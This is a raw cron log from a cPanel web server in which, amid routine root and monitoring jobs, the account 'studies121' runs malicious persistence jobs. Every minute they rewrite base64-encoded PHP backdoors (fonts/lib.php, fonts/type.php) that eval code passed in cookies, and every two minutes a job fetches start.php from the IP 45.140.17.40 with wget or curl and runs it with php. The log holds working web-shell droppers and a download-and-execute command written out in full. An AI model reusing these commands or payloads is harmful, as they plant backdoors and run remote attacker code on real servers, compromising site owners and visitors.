Sep  8 23:08:01 ip-184-168-122-23 CROND[5801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:08:01 ip-184-168-122-23 CROND[5802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:08:01 ip-184-168-122-23 CROND[5803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:09:01 ip-184-168-122-23 CROND[5981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:09:01 ip-184-168-122-23 CROND[5983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:09:01 ip-184-168-122-23 CROND[5984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:09:01 ip-184-168-122-23 CROND[5987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:09:01 ip-184-168-122-23 CROND[5985]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 23:10:01 ip-184-168-122-23 CROND[6084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:10:01 ip-184-168-122-23 CROND[6087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:10:01 ip-184-168-122-23 CROND[6090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:10:01 ip-184-168-122-23 CROND[6089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:10:01 ip-184-168-122-23 CROND[6088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:10:01 ip-184-168-122-23 CROND[6093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:10:01 ip-184-168-122-23 CROND[6096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:10:01 ip-184-168-122-23 CROND[6097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:11:01 ip-184-168-122-23 CROND[6196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:11:01 ip-184-168-122-23 CROND[6199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:11:01 ip-184-168-122-23 CROND[6198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:11:01 ip-184-168-122-23 CROND[6200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:12:01 ip-184-168-122-23 CROND[6282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:12:01 ip-184-168-122-23 CROND[6284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:12:01 ip-184-168-122-23 CROND[6285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:12:01 ip-184-168-122-23 CROND[6288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:12:01 ip-184-168-122-23 CROND[6290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:13:01 ip-184-168-122-23 CROND[6364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:13:01 ip-184-168-122-23 CROND[6365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:13:01 ip-184-168-122-23 CROND[6366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:13:01 ip-184-168-122-23 CROND[6368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:14:01 ip-184-168-122-23 CROND[6450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:14:01 ip-184-168-122-23 CROND[6453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:14:01 ip-184-168-122-23 CROND[6452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:14:01 ip-184-168-122-23 CROND[6454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:14:01 ip-184-168-122-23 CROND[6455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:15:01 ip-184-168-122-23 CROND[6533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:15:01 ip-184-168-122-23 CROND[6535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:15:01 ip-184-168-122-23 CROND[6536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:15:01 ip-184-168-122-23 CROND[6539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:15:01 ip-184-168-122-23 CROND[6540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:15:01 ip-184-168-122-23 CROND[6542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:16:01 ip-184-168-122-23 CROND[6624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:16:01 ip-184-168-122-23 CROND[6626]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:16:01 ip-184-168-122-23 CROND[6627]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 23:16:01 ip-184-168-122-23 CROND[6628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:16:01 ip-184-168-122-23 CROND[6629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:16:01 ip-184-168-122-23 CROND[6630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:17:01 ip-184-168-122-23 CROND[6808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:17:01 ip-184-168-122-23 CROND[6811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:17:01 ip-184-168-122-23 CROND[6810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:17:01 ip-184-168-122-23 CROND[6813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:18:01 ip-184-168-122-23 CROND[6892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:18:01 ip-184-168-122-23 CROND[6894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:18:01 ip-184-168-122-23 CROND[6897]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:18:01 ip-184-168-122-23 CROND[6895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:18:01 ip-184-168-122-23 CROND[6898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:19:01 ip-184-168-122-23 CROND[6983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:19:01 ip-184-168-122-23 CROND[6985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:19:01 ip-184-168-122-23 CROND[6987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:19:01 ip-184-168-122-23 CROND[6986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:20:01 ip-184-168-122-23 CROND[7068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:20:01 ip-184-168-122-23 CROND[7070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
